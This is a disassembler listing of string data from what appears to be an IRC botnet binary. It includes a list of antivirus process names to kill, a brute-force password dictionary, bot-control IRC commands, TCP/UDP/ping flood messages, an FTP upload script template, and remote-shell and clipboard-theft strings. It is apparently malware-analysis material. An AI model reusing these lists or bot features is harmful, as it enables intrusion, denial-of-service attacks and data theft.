aCfinet32_exe	db 'CFINET32.EXE',0     ; DATA XREF: .data:0042A5CCo
		align 4
aCfinet_exe	db 'CFINET.EXE',0       ; DATA XREF: .data:0042A5C8o
		align 4
aCfiaudit_exe	db 'CFIAUDIT.EXE',0     ; DATA XREF: .data:0042A5C0o
					; .data:0042A5C4o
		align 4
aCfiadmin_exe	db 'CFIADMIN.EXE',0     ; DATA XREF: .data:0042A5BCo
		align 4
aCfgwiz_exe	db 'CFGWIZ.EXE',0       ; DATA XREF: .data:0042A5B8o
		align 10h
aCfd_exe	db 'CFD.EXE',0          ; DATA XREF: .data:0042A5B4o
aCdp_exe	db 'CDP.EXE',0          ; DATA XREF: .data:0042A5B0o
aCcpxysvc_exe	db 'CCPXYSVC.EXE',0     ; DATA XREF: .data:0042A5ACo
		align 10h
aCcevtmgr_exe	db 'CCEVTMGR.EXE',0     ; DATA XREF: .data:0042A5A8o
		align 10h
aCcapp_exe	db 'CCAPP.EXE',0        ; DATA XREF: .data:0042A5A4o
		align 4
aBvt_exe	db 'BVT.EXE',0          ; DATA XREF: .data:0042A5A0o
aBundle_exe	db 'BUNDLE.EXE',0       ; DATA XREF: .data:0042A59Co
		align 10h
aBs120_exe	db 'BS120.EXE',0        ; DATA XREF: .data:0042A598o
		align 4
aBrasil_exe	db 'BRASIL.EXE',0       ; DATA XREF: .data:0042A594o
		align 4
aBpc_exe	db 'BPC.EXE',0          ; DATA XREF: .data:0042A590o
aBorg2_exe	db 'BORG2.EXE',0        ; DATA XREF: .data:0042A58Co
		align 4
aBootwarn_exe	db 'BOOTWARN.EXE',0     ; DATA XREF: .data:0042A588o
		align 4
aBootconf_exe	db 'BOOTCONF.EXE',0     ; DATA XREF: .data:0042A584o
		align 4
aBlss_exe	db 'BLSS.EXE',0         ; DATA XREF: .data:0042A580o
		align 4
aBlackice_exe	db 'BLACKICE.EXE',0     ; DATA XREF: .data:0042A57Co
		align 4
aBlackd_exe	db 'BLACKD.EXE',0       ; DATA XREF: .data:0042A578o
		align 4
aBisp_exe	db 'BISP.EXE',0         ; DATA XREF: .data:0042A574o
		align 10h
aBipcpevalsetup	db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .data:0042A570o
		align 4
aBipcp_exe	db 'BIPCP.EXE',0        ; DATA XREF: .data:0042A56Co
		align 10h
aBidserver_exe	db 'BIDSERVER.EXE',0    ; DATA XREF: .data:0042A568o
		align 10h
aBidef_exe	db 'BIDEF.EXE',0        ; DATA XREF: .data:0042A564o
		align 4
aBelt_exe	db 'BELT.EXE',0         ; DATA XREF: .data:0042A560o
		align 4
aBeagle_exe	db 'BEAGLE.EXE',0       ; DATA XREF: .data:0042A55Co
		align 4
aBd_professiona	db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .data:0042A558o
aBargains_exe	db 'BARGAINS.EXE',0     ; DATA XREF: .data:0042A554o
		align 4
aBackweb_exe	db 'BACKWEB.EXE',0      ; DATA XREF: .data:0042A550o
aAvxquar_exe	db 'AVXQUAR.EXE',0      ; DATA XREF: .data:0042A548o
					; .data:0042A54Co
aAvxmonitornt_e	db 'AVXMONITORNT.EXE',0 ; DATA XREF: .data:0042A544o
		align 4
aAvxmonitor9x_e	db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .data:0042A540o
		align 4
aAvwupsrv_exe	db 'AVWUPSRV.EXE',0     ; DATA XREF: .data:0042A53Co
		align 4
aAvwupd32_exe	db 'AVWUPD32.EXE',0     ; DATA XREF: .data:0042A534o
					; .data:0042A538o
		align 4
aAvwupd_exe	db 'AVWUPD.EXE',0       ; DATA XREF: .data:0042A530o
		align 4
aAvwinnt_exe	db 'AVWINNT.EXE',0      ; DATA XREF: .data:0042A52Co
aAvwin95_exe	db 'AVWIN95.EXE',0      ; DATA XREF: .data:0042A528o
aAvsynmgr_exe	db 'AVSYNMGR.EXE',0     ; DATA XREF: .data:0042A524o
		align 4
aAvsched32_exe	db 'AVSCHED32.EXE',0    ; DATA XREF: .data:0042A520o
		align 4
aAvpupd_exe	db 'AVPUPD.EXE',0       ; DATA XREF: .data:0042A518o
					; .data:0042A51Co
		align 4
aAvptc32_exe	db 'AVPTC32.EXE',0      ; DATA XREF: .data:0042A514o
aAvpm_exe	db 'AVPM.EXE',0         ; DATA XREF: .data:0042A510o
		align 10h
aAvpdos32_exe	db 'AVPDOS32.EXE',0     ; DATA XREF: .data:0042A50Co
		align 10h
aAvpcc_exe	db 'AVPCC.EXE',0        ; DATA XREF: .data:0042A508o
		align 4
aAvp32_exe	db 'AVP32.EXE',0        ; DATA XREF: .data:0042A504o
		align 4
aAvp_exe	db 'AVP.EXE',0          ; DATA XREF: .data:0042A500o
aAvnt_exe	db 'AVNT.EXE',0         ; DATA XREF: .data:0042A4FCo
		align 4
aAvltmain_exe	db 'AVLTMAIN.EXE',0     ; DATA XREF: .data:0042A4F8o
		align 4
aAvkwctl9_exe	db 'AVKWCTl9.EXE',0     ; DATA XREF: .data:0042A4F4o
		align 4
aAvkservice_exe	db 'AVKSERVICE.EXE',0   ; DATA XREF: .data:0042A4F0o
		align 4
aAvkserv_exe	db 'AVKSERV.EXE',0      ; DATA XREF: .data:0042A4ECo
aAvkpop_exe	db 'AVKPOP.EXE',0       ; DATA XREF: .data:0042A4E8o
		align 4
aAvgw_exe	db 'AVGW.EXE',0         ; DATA XREF: .data:0042A4E4o
		align 10h
aAvguard_exe	db 'AVGUARD.EXE',0      ; DATA XREF: .data:0042A4E0o
aAvgserv9_exe	db 'AVGSERV9.EXE',0     ; DATA XREF: .data:0042A4DCo
		align 4
aAvgserv_exe	db 'AVGSERV.EXE',0      ; DATA XREF: .data:0042A4D8o
aAvgnt_exe	db 'AVGNT.EXE',0        ; DATA XREF: .data:0042A4D4o
		align 4
aAvgctrl_exe	db 'AVGCTRL.EXE',0      ; DATA XREF: .data:0042A4D0o
aAvgcc32_exe	db 'AVGCC32.EXE',0      ; DATA XREF: .data:0042A4CCo
aAve32_exe	db 'AVE32.EXE',0        ; DATA XREF: .data:0042A4C8o
		align 4
aAvconsol_exe	db 'AVCONSOL.EXE',0     ; DATA XREF: .data:0042A4C4o
		align 4
aAutoupdate_exe	db 'AUTOUPDATE.EXE',0   ; DATA XREF: .data:0042A4C0o
		align 4
aAutotrace_exe	db 'AUTOTRACE.EXE',0    ; DATA XREF: .data:0042A4BCo
		align 4
aAutodown_exe	db 'AUTODOWN.EXE',0     ; DATA XREF: .data:0042A4B8o
		align 4
aAupdate_exe	db 'AUPDATE.EXE',0      ; DATA XREF: .data:0042A4B4o
aAu_exe		db 'AU.EXE',0           ; DATA XREF: .data:0042A4B0o
		align 4
aAtwatch_exe	db 'ATWATCH.EXE',0      ; DATA XREF: .data:0042A4ACo
aAtupdater_exe	db 'ATUPDATER.EXE',0    ; DATA XREF: .data:0042A4A4o
					; .data:0042A4A8o
		align 4
aAtro55en_exe	db 'ATRO55EN.EXE',0     ; DATA XREF: .data:0042A4A0o
		align 4
aAtguard_exe	db 'ATGUARD.EXE',0      ; DATA XREF: .data:0042A49Co
aAtcon_exe	db 'ATCON.EXE',0        ; DATA XREF: .data:0042A498o
		align 10h
aArr_exe	db 'ARR.EXE',0          ; DATA XREF: .data:0042A494o
aApvxdwin_exe	db 'APVXDWIN.EXE',0     ; DATA XREF: .data:0042A490o
		align 4
aAplica32_exe	db 'APLICA32.EXE',0     ; DATA XREF: .data:0042A48Co
		align 4
aApimonitor_exe	db 'APIMONITOR.EXE',0   ; DATA XREF: .data:0042A488o
		align 4
aAnts_exe	db 'ANTS.EXE',0         ; DATA XREF: .data:0042A484o
		align 4
aAntivirus_exe	db 'ANTIVIRUS.EXE',0    ; DATA XREF: .data:0042A480o
		align 4
aAntiTrojan_exe	db 'ANTI-TROJAN.EXE',0  ; DATA XREF: .data:0042A47Co
aAmon9x_exe	db 'AMON9X.EXE',0       ; DATA XREF: .data:0042A478o
		align 10h
aAlogserv_exe	db 'ALOGSERV.EXE',0     ; DATA XREF: .data:0042A474o
		align 10h
aAlevir_exe	db 'ALEVIR.EXE',0       ; DATA XREF: .data:0042A470o
		align 4
aAlertsvc_exe	db 'ALERTSVC.EXE',0     ; DATA XREF: .data:0042A46Co
		align 4
aAgentw_exe	db 'AGENTW.EXE',0       ; DATA XREF: .data:0042A468o
		align 4
aAgentsvr_exe	db 'AGENTSVR.EXE',0     ; DATA XREF: .data:0042A464o
		align 4
aAdvxdwin_exe	db 'ADVXDWIN.EXE',0     ; DATA XREF: .data:0042A460o
		align 4
aAdaware_exe	db 'ADAWARE.EXE',0      ; DATA XREF: .data:0042A45Co
aAckwin32_exe	db 'ACKWIN32.EXE',0     ; DATA XREF: .data:off_42A458o
		align 4
aCannotExtractP	db 'Cannot extract process path for %s',0Ah,0 ; DATA XREF: sub_4070E8+2D7o
aFileDeletedS_	db '[FILE]: Deleted ',27h,'%s',27h,'.',0Ah,0 ; DATA XREF: sub_4070E8+2C9o
		align 10h
aCouldNotDelete	db 'Could not delete ',27h,'%s',27h,'.!',0Ah,0 ; DATA XREF: sub_4070E8+2BBo
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4070E8+187o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4070E8+5Ao
					; sub_4070E8+205o
		align 4
aProcProcessL_0	db '[PROC]: Process list failed.',0 ; DATA XREF: sub_4073FB:loc_40747Co
		align 4
aProcProcessLis	db '[PROC]: Process list completed.',0 ; DATA XREF: sub_4073FB+7Ao
aProcListingPro	db '[PROC]: Listing processes:',0 ; DATA XREF: sub_4073FB+2Ao
		align 4
aIntranet	db 'intranet',0         ; DATA XREF: .data:0042B26Co
		align 4
aLan		db 'lan',0              ; DATA XREF: .data:0042B264o
aMain		db 'main',0             ; DATA XREF: .data:0042B260o
		align 10h
aWinpass	db 'winpass',0          ; DATA XREF: .data:0042B25Co
aBlank		db 'blank',0            ; DATA XREF: .data:0042B258o
		align 10h
aOffice		db 'office',0           ; DATA XREF: .data:0042B254o
		align 4
aControl	db 'control',0          ; DATA XREF: .data:0042B250o
aXp		db 'xp',0               ; DATA XREF: .data:0042B24Co
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .data:0042B248o
		align 4
aHp		db 'hp',0               ; DATA XREF: .data:0042B244o
		align 10h
aSiemens	db 'siemens',0          ; DATA XREF: .data:0042B240o
aCompaq		db 'compaq',0           ; DATA XREF: .data:0042B23Co
		align 10h
aDell		db 'dell',0             ; DATA XREF: .data:0042B238o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: .data:0042B234o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: .data:0042B230o
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:0042B228o
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:0042B224o
		align 4
aSql		db 'sql',0              ; DATA XREF: .data:0042B220o
aSa		db 'sa',0               ; DATA XREF: sub_4078FA+1862o
					; .text:004127DBo ...
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .data:0042B218o
		align 4
aDb1		db 'db1',0              ; DATA XREF: .data:0042B210o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:0042B20Co
		align 4
aData		db 'data',0             ; DATA XREF: .data:0042B208o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:0042B204o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:0042B200o
		align 10h
aDbpass		db 'dbpass',0           ; DATA XREF: .data:0042B1FCo
		align 4
aAccess		db 'access',0           ; DATA XREF: .data:0042B1F8o
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:0042B1F0o
		align 10h
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:0042B1ECo
		align 4
aDomain		db 'domain',0           ; DATA XREF: .data:0042B1E8o
		align 4
aHello		db 'hello',0            ; DATA XREF: .data:0042B1E4o
		align 4
aHell_0		db 'hell',0             ; DATA XREF: .data:0042B1E0o
		align 4
aGod		db 'god',0              ; DATA XREF: .data:0042B1DCo
aSex		db 'sex',0              ; DATA XREF: .data:0042B1D8o
aSlut		db 'slut',0             ; DATA XREF: .data:0042B1D4o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .data:0042B1D0o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:0042B1CCo
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .data:0042B1C8o
		align 10h
aBackup		db 'backup',0           ; DATA XREF: .data:0042B1C4o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .data:0042B1C0o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:0042B1BCo
		align 10h
aLogin		db 'login',0            ; DATA XREF: sub_4078FA+7BEo
					; .data:0042B1B8o
		align 4
aMary		db 'mary',0             ; DATA XREF: .data:0042B1B4o
		align 10h
aKatie		db 'katie',0            ; DATA XREF: .data:0042B1B0o
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:0042B1A8o
		align 10h
aGeorge		db 'george',0           ; DATA XREF: .data:0042B1A4o
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:0042B1A0o
		align 10h
aChris		db 'chris',0            ; DATA XREF: .data:0042B19Co
		align 4
aIan		db 'ian',0              ; DATA XREF: .data:0042B198o
aNeil		db 'neil',0             ; DATA XREF: .data:0042B194o
		align 4
aLee		db 'lee',0              ; DATA XREF: .data:0042B190o
aBrian		db 'brian',0            ; DATA XREF: .data:0042B18Co
		align 10h
aSusan		db 'susan',0            ; DATA XREF: .data:0042B184o
		align 4
aSue		db 'sue',0              ; DATA XREF: .data:0042B180o
aSam		db 'sam',0              ; DATA XREF: .data:0042B17Co
aLuke		db 'luke',0             ; DATA XREF: .data:0042B178o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:0042B174o
					; .data:0042B188o
		align 10h
aJohn		db 'john',0             ; DATA XREF: .data:0042B170o
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:0042B16Co
		align 10h
aBill		db 'bill',0             ; DATA XREF: .data:0042B168o
		align 4
aFred		db 'fred',0             ; DATA XREF: .data:0042B164o
		align 10h
aJoe		db 'joe',0              ; DATA XREF: .data:0042B160o
aJen		db 'jen',0              ; DATA XREF: .data:0042B15Co
aBob		db 'bob',0              ; DATA XREF: .data:0042B158o
					; .data:0042B1ACo
aQwe		db 'qwe',0              ; DATA XREF: .data:0042B154o
aZxc		db 'zxc',0              ; DATA XREF: .data:0042B150o
aAsd		db 'asd',0              ; DATA XREF: .data:0042B14Co
aQaz		db 'qaz',0              ; DATA XREF: .data:0042B148o
aWin2000	db 'win2000',0          ; DATA XREF: .data:0042B144o
aWinnt		db 'winnt',0            ; DATA XREF: .data:0042B140o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .data:0042B13Co
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:0042B138o
		align 4
aWin98		db 'win98',0            ; DATA XREF: .data:0042B134o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:0042B130o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:0042B12Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: .data:0042B128o
aOem		db 'oem',0              ; DATA XREF: .data:0042B124o
aUser		db 'user',0             ; DATA XREF: sub_4078FA+1D2Do
					; .data:0042B120o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:0042B11Co
		align 4
aHome		db 'home',0             ; DATA XREF: .data:0042B118o
		align 10h
aAccounting	db 'accounting',0       ; DATA XREF: .data:0042B114o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:0042B110o
		align 4
aInternet	db 'internet',0         ; DATA XREF: .data:0042B10Co
					; .data:0042B268o
		align 4
aWww		db 'www',0              ; DATA XREF: .data:0042B108o
aWeb		db 'web',0              ; DATA XREF: .data:0042B104o
aOutlook	db 'outlook',0          ; DATA XREF: .data:0042B100o
aMail		db 'mail',0             ; DATA XREF: .data:0042B0FCo
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:0042B0F8o
		align 4
aNull_0		db 'null',0             ; DATA XREF: .data:0042B0F4o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_4078FA+19F0o
					; .data:0042B0ECo
		align 4
aSystem		db 'system',0           ; DATA XREF: .data:0042B0E8o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .data:0042B0E0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:0042B0DCo
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .data:0042B0D8o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:0042B0D4o
		align 10h
aNone		db 'none',0             ; DATA XREF: .data:0042B0D0o
		align 4
aTest		db 'test',0             ; DATA XREF: .data:0042B0C8o
		align 10h
a2004		db '2004',0             ; DATA XREF: .data:0042B0C4o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_40FE1F+98o
					; .data:0042B0C0o
		align 10h
a2002		db '2002',0             ; DATA XREF: .data:0042B0BCo
		align 4
a2001		db '2001',0             ; DATA XREF: .data:0042B0B8o
		align 10h
a2000		db '2000',0             ; DATA XREF: .data:0042B0B4o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:0042B0B0o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .data:0042B0ACo
		align 10h
a12345678	db '12345678',0         ; DATA XREF: .data:0042B0A8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:0042B0A4o
a123456		db '123456',0           ; DATA XREF: .data:0042B0A0o
		align 4
a12345		db '12345',0            ; DATA XREF: .data:0042B09Co
		align 4
a1234		db '1234',0             ; DATA XREF: .data:0042B098o
		align 4
a123		db '123',0              ; DATA XREF: .data:0042B094o
a12		db '12',0               ; DATA XREF: .data:0042B090o
		align 4
a1:					; DATA XREF: .data:0042B08Co
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .data:0042B088o
aPwd		db 'pwd',0              ; DATA XREF: .data:0042B084o
aPass_0		db 'pass',0             ; DATA XREF: .data:0042B080o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:0042B07Co
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .data:0042B078o
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:0042B074o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .data:0042B070o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .data:0042B06Co
aDb2		db 'db2',0              ; DATA XREF: .data:0042B048o
					; .data:0042B214o
aOracle		db 'oracle',0           ; DATA XREF: .data:0042B044o
					; .data:0042B22Co
		align 4
aDba		db 'dba',0              ; DATA XREF: .data:0042B040o
aDatabase	db 'database',0         ; DATA XREF: .data:0042B03Co
					; .data:0042B1F4o
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:0042B038o
					; .data:0042B0E4o
aGuest_0	db 'guest',0            ; DATA XREF: .data:0042B034o
					; .data:0042B0CCo
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:0042B030o
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: .data:0042B02Co
					; .data:0042B274o
aStudent	db 'student',0          ; DATA XREF: .data:0042B028o
					; .data:0042B270o
aOwner		db 'owner',0            ; DATA XREF: .data:0042B024o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:0042B020o
		align 4
aRoot		db 'root',0             ; DATA XREF: .text:004127E2o
					; .data:0042B01Co ...
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:0042B018o
					; .data:0042B278o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .text:004127E9o
					; .data:0042B014o ...
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .data:0042B010o
					; .data:0042B064o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0042B00Co
					; .data:0042B060o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0042B008o
					; .data:0042B05Co
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0042B004o
					; .data:0042B058o
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: .data:0042B000o
					; .data:0042B054o
		align 10h
aMircV6_12Khale	db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_42AF40o
		align 10h
a@celestial_org	db '*@celestial.org',0  ; DATA XREF: .data:off_42AF3Co
asc_4246B0:				; DATA XREF: sub_40751F+129o
					; sub_40751F+1ADo
		unicode	0, <|>,0
asc_4246B4	db ' :',0               ; DATA XREF: sub_40751F:loc_4075FFo
					; sub_4078FA+80o ...
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40751F+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40751F+38o
		align 10h
aMainConnectedT	db '[MAIN]: Connected to %s.',0 ; DATA XREF: sub_40779B+9Fo
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4078FA+58C5o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_4078FA+58B0o
		align 4
aMainUserSLog_1	db '[MAIN]: User: %s logged in.',0 ; DATA XREF: sub_4078FA+589Co
aMainPasswordAc	db '[MAIN]: Password accepted.',0 ; DATA XREF: sub_4078FA+587Fo
		align 4
aMainFailedHost	db '[MAIN]: *Failed host auth by: (%s!%s).',0 ; DATA XREF: sub_4078FA+5807o
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_4078FA+57E4o
		align 4
aMainFailedPass	db '[MAIN]: *Failed pass auth by: (%s!%s).',0 ; DATA XREF: sub_4078FA+57A0o
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_4078FA+5791o
					; sub_4078FA+57F8o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_4078FA+577Do
		align 10h
asc_424820:				; DATA XREF: sub_4078FA+572Bo
		unicode	0, <~>,0
dword_424824	dd 0		aMainRandomNick	db '[MAIN]: Random nick change: %s',0 ; DATA XREF: sub_4078FA+56DBo
		align 4
aScanFailedTo_2	db '[SCAN]: Failed to start scan, no IP specified.',0
					; DATA XREF: sub_4078FA+548Bo
		align 4
aStoppingPrevio	db 'Stopping previous scans',0 ; DATA XREF: sub_4078FA+5450o
aUdpFailedToSta	db '[UDP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+5231o
		align 8
aUdpSendingDPac	db '[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).'
					; DATA XREF: sub_4078FA+51CCo
		db 0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_4078FA+50F9o
		align 4
aPingFailedToSt	db '[PING]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+50D2o
		align 4
aPingSendingDPi	db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).'
					; DATA XREF: sub_4078FA+5077o
		db 0
		align 4
aTcpInvalidFl_0	db '[TCP]: Invalid flood time must be greater than 0.',0
					; DATA XREF: sub_4078FA:loc_40C8ADo
		align 10h
aTcpFailedToSta	db '[TCP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+4F97o
		align 4
aTcpSSFloodingS	db '[TCP]: %s %s flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_4078FA+4F33o
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_4078FA+4F21o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_4078FA+4F1Ao
aTcpInvalidFloo	db '[TCP]: Invalid flood type specified.',0 ; DATA XREF: sub_4078FA+4E21o
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_4078FA+4E15o
					; sub_41046C+35Do
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_4078FA+4E01o
					; sub_41046C+331o
aSyn_0		db 'syn',0              ; DATA XREF: sub_4078FA+4DEDo
					; sub_41046C+30Fo
aFtpUploading_0	db '[FTP]: Uploading file: %s to: %s failed.',0
					; DATA XREF: sub_4078FA:loc_40C621o
		align 4
aFtpUploadingFi	db '[FTP]: Uploading file: %s to: %s',0 ; DATA XREF: sub_4078FA+4D20o
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_4078FA+4D09o
aSS_3		db '-s:%s',0            ; DATA XREF: sub_4078FA+4CF0o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_4078FA+4CD0o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_4078FA+4C9Do
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_4078FA+4C8Co
		align 4
aFtpFileNotFoun	db '[FTP]: File not found: %s.',0 ; DATA XREF: sub_4078FA+4C33o
		align 10h
aUpload		db 'upload',0           ; DATA XREF: sub_4078FA+4C0Do
		align 4
aHcon		db 'hcon',0             ; DATA XREF: sub_4078FA+4BECo
		align 10h
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_4078FA+4BD8o
aMainInvalidLog	db '[MAIN]: Invalid login slot number: %d.',0 ; DATA XREF: sub_4078FA+4B12o
		align 10h
aMainNoUserLogg	db '[MAIN]: No user logged in at slot: %d.',0 ; DATA XREF: sub_4078FA+4B0Ao
		align 4
aMainS		db '[MAIN]: %s',0       ; DATA XREF: sub_4078FA+4AAEo
		align 4
aSecureFailedTo	db '[SECURE]: Failed to start secure thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+4A7Bo
					; sub_40D1EF+3DEo
		align 4
aSecureSSystem_	db '[SECURE]: %s system.',0 ; DATA XREF: sub_4078FA+4A11o
		align 4
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_4078FA+4A0Bo
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_4078FA+4A04o
		align 4
aSocks4FailedTo	db '[SOCKS4]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+4976o
		align 4
aSocks4ServerSt	db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: sub_4078FA+491Do
					; sub_40FB2A+A1o
aProc		db '[PROC]',0           ; DATA XREF: sub_4078FA+484Fo
		align 10h
aProcessList	db 'Process list',0     ; DATA XREF: sub_4078FA+484Ao
		align 10h
aMainReconnecti	db '[MAIN]: Reconnecting.',0 ; DATA XREF: sub_4078FA+4814o
		align 4
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4078FA:loc_40C101o
		align 10h
aMainDisconnect	db '[MAIN]: Disconnecting.',0 ; DATA XREF: sub_4078FA+47F2o
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4078FA:loc_40C0DFo
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_4078FA+47BCo
		align 4
aMainStatusRead	db '[MAIN]: Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: sub_4078FA+476Eo
		align 4
aMainBotIdS_	db '[MAIN]: Bot ID: %s.',0 ; DATA XREF: sub_4078FA+472Fo
aThreadsFaile_0	db '[THREADS]: Failed to start list thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+46FCo
		align 10h
aThreadsListThr	db '[THREADS]: List threads.',0 ; DATA XREF: sub_4078FA+469Bo
		align 4
aSub		db 'sub',0              ; DATA XREF: sub_4078FA+4679o
aMainAliasList_	db '[MAIN]: Alias list.',0 ; DATA XREF: sub_4078FA+4623o
aLogFailedToSta	db '[LOG]: Failed to start listing thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+45F3o
aLogListingLog_	db '[LOG]: Listing log.',0 ; DATA XREF: sub_4078FA+4598o
aMainNetworkInf	db '[MAIN]: Network Info.',0 ; DATA XREF: sub_4078FA+44F1o
		align 4
aMainSystemInfo	db '[MAIN]: System Info.',0 ; DATA XREF: sub_4078FA+44C1o
		align 4
aMainRemovingBo	db '[MAIN]: Removing Bot.',0 ; DATA XREF: sub_4078FA+446Do
		align 4
aProcsFailedToS	db '[PROCS]: Failed to start listing thread, error: <%d>.',0
					; DATA XREF: sub_4078FA+43F7o
		align 4
aProcsProccessL	db '[PROCS]: Proccess list.',0 ; DATA XREF: sub_4078FA+4396o
aFull		db 'full',0             ; DATA XREF: sub_4078FA+437Ao
		align 4
aProcAlreadyRun	db '[PROC]: Already running.',0 ; DATA XREF: sub_4078FA+4314o
		align 4
aMainUptimeS_	db '[MAIN]: Uptime: %s.',0 ; DATA XREF: sub_4078FA+42C0o
aCmdRemoteShe_0	db '[CMD]: Remote shell ready.',0 ; DATA XREF: sub_4078FA:loc_40BB2Co
		align 4
aCmdCouldnTOpen	db '[CMD]: Couldn',27h,'t open remote shell.',0
					; DATA XREF: sub_4078FA+4228o
		align 4
aCmdRemoteShell	db '[CMD]: Remote shell already running.',0 ; DATA XREF: sub_4078FA+4209o
		align 4
aMainGetClipboa	db '[MAIN]: Get Clipboard.',0 ; DATA XREF: sub_4078FA+41F3o
		align 4
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_4078FA+41C4o
		align 10h
aFlushdnsFail_1	db '[FLUSHDNS]: Failed to flush ARP cache.',0
					; DATA XREF: sub_4078FA:loc_40BAACo
		align 4
